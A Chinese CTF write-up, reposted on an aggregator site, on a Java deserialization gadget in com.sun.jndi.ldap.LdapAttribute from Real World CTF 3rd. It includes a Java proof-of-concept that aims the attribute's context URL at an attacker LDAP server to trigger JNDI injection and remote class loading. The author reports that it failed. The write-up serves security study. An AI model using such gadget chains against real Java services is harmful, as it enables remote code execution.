栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > .Net

反序列化新的Gadget:com.sun.jndi.ldap.LdapAttribute

.Net 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

反序列化新的Gadget:com.sun.jndi.ldap.LdapAttribute

这个CTF是1.4的Java。同时由于这个类在1.8中依然存在,所以也可以在1.8利用:

一些新手可能会被 ysoserial 里标注的利用链依赖库版本所迷惑,认为某个链就只能在对应标注的依赖版本下起作用,其实并非如此。像 ysoserial 里 CommonsBeanutils1 这个链,作者标注的依赖版本是:
commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
但这些版本实际上反映的只是 ysoserial 作者在编写利用时用到的库版本,实际的影响范围可能并不局限于此。

基于 getter 方法触发 RCE,目前 Java 标准库里已经公开过的利用链有 TemplatesImpl 和 JdbcRowSetImpl:

  • com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties: 加载自定义的字节码并实例化,从而可执行任意 Java 代码
  • com.sun.rowset.JdbcRowSetImpl#getDatabaseMetaData: 触发 JNDI 注入,也可以执行任意 Java 代码

ysoserial CommonsBeanutils1 源码里采用的是 TemplatesImpl。但是其依赖特定的CommonsBeanutils1 版本。当CommonsBeanutils1 版本不适用时,就需要寻找基于这种CommonsBeanutils1 版本的新的gadget。

这个新的gadget
漏洞触发点:
com.sun.jndi.ldap.LdapAttribute#getAttributeDefinition

结合低版本的CommonsBeanutils构造一条心的反序列化gadget。

看到这个地方,开始还以为触发点在

(DirContext)var1.lookup("AttributeDefinition/" + this.getID());

后来发现原来是在上一行代码触发的。

开始以为LDAP的JNDI注入的sink点(需要分析的最底层)在javax.naming.InitialContext#lookup
参考这篇文章,发现其实更深处调用的过程是:

javax.naming.InitialContext#lookup(java.lang.String)
-> com.sun.jndi.url.ldap.ldapURLContext#lookup(java.lang.String)
-> com.sun.jndi.toolkit.url.GenericURLContext#lookup(java.lang.String)
-> com.sun.jndi.toolkit.ctx.PartialCompositeContext#lookup(javax.naming.Name)
-> com.sun.jndi.toolkit.ctx.ComponentContext#p_lookup
-> com.sun.jndi.ldap.LdapCtx#c_lookup
-> ......

理论上来说这过程中的任何一个点作为sink都可以?
如果能直接调用

com.sun.jndi.ldap.LdapCtx#c_lookup(Name var1, Continuation var2)

也能实现JNDI注入?

demo
import javax.naming.CompositeName;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;


// 适用于1.8、1.4
// 参考:[Real Wolrd CTF 3rd Writeup | Old System](https://mp.weixin.qq.com/s/ClASwg6SH0uij_-IX-GahQ)
public class LdapAttributePayload {

    public static void main(String[] args) throws Exception {

        // 构造反序列化payload
        String ldapCtxUrl = "ldap://192.168.85.1:1389";

        Class ldapAttributeClazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
        Constructor ldapAttributeClazzConstructor = ldapAttributeClazz.getDeclaredConstructor(
            new Class[] {String.class});
        ldapAttributeClazzConstructor.setAccessible(true);
        Object ldapAttribute = ldapAttributeClazzConstructor.newInstance(
            new Object[] {"name"});

        Field baseCtxUrlField = ldapAttributeClazz.getDeclaredField("baseCtxURL");
        baseCtxUrlField.setAccessible(true);
        baseCtxUrlField.set(ldapAttribute, ldapCtxUrl);

        Field rdnField = ldapAttributeClazz.getDeclaredField("rdn");
        rdnField.setAccessible(true);
        rdnField.set(ldapAttribute, new CompositeName("f0uimq"));


        // 触发
        Method getAttributeDefinitionMethod = ldapAttributeClazz.getMethod("getAttributeDefinition", new Class[] {});
        getAttributeDefinitionMethod.setAccessible(true);
        getAttributeDefinitionMethod.invoke(ldapAttribute, new Object[] {});

    }

}
TODO

测试的时候,发现抛出了错误:

Exception in thread "main" java.lang.reflect.InvocationTargetException
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:483)
	at ysoserial.payloads.LdapAttributePayload.main(LdapAttributePayload.java:38)
Caused by: javax.naming.InvalidNameException: Invalid name: f0uimq; remaining name 'f0uimq'
	at javax.naming.ldap.Rfc2253Parser.doParse(Rfc2253Parser.java:111)
	at javax.naming.ldap.Rfc2253Parser.parseDn(Rfc2253Parser.java:70)
	at javax.naming.ldap.LdapName.parse(LdapName.java:785)
	at javax.naming.ldap.LdapName.(LdapName.java:123)
	at com.sun.jndi.ldap.LdapSearchEnumeration.(LdapSearchEnumeration.java:52)
	at com.sun.jndi.ldap.LdapCtx.searchAux(LdapCtx.java:1849)
	at com.sun.jndi.ldap.LdapCtx.getSchemaEntry(LdapCtx.java:1676)
	at com.sun.jndi.ldap.LdapCtx.getSchemaTree(LdapCtx.java:1589)
	at com.sun.jndi.ldap.LdapCtx.c_getSchema(LdapCtx.java:1536)
	at com.sun.jndi.toolkit.ctx.ComponentDirContext.p_getSchema(ComponentDirContext.java:439)
	at com.sun.jndi.toolkit.ctx.PartialCompositeDirContext.getSchema(PartialCompositeDirContext.java:422)
	at javax.naming.directory.InitialDirContext.getSchema(InitialDirContext.java:210)
	at com.sun.jndi.ldap.LdapAttribute.getAttributeDefinition(LdapAttribute.java:207)
	... 5 more

适用JNDI-Injection-Exploit工具收到了jndi请求,准备去http://127.0.0.1:8180/ExecTemplateJDK8.class下载class文件:

但是并没有真正请求到class文件。开始以为是工具的原因,重新使用marshalsec和http服务搭建发现问题一样。不能访问class。

jdk使用的是1.8.0,用jdk7依然存在这个问题。

搜了一下没有找到原因。可能是对这个原理没理解清楚…//TODO

参考:

  • https://stackoverflow.com/questions/30770344/add-user-to-ldap-using-java-naming-invalidnameexception-invalid-name
参考
  • Real Wolrd CTF 3rd Writeup | Old System
  • https://github.com/voidfyoo/rwctf-2021-old-system/tree/main/writeup
  • https://github.com/welk1n/JNDI-Injection-Exploit
转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/985253.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号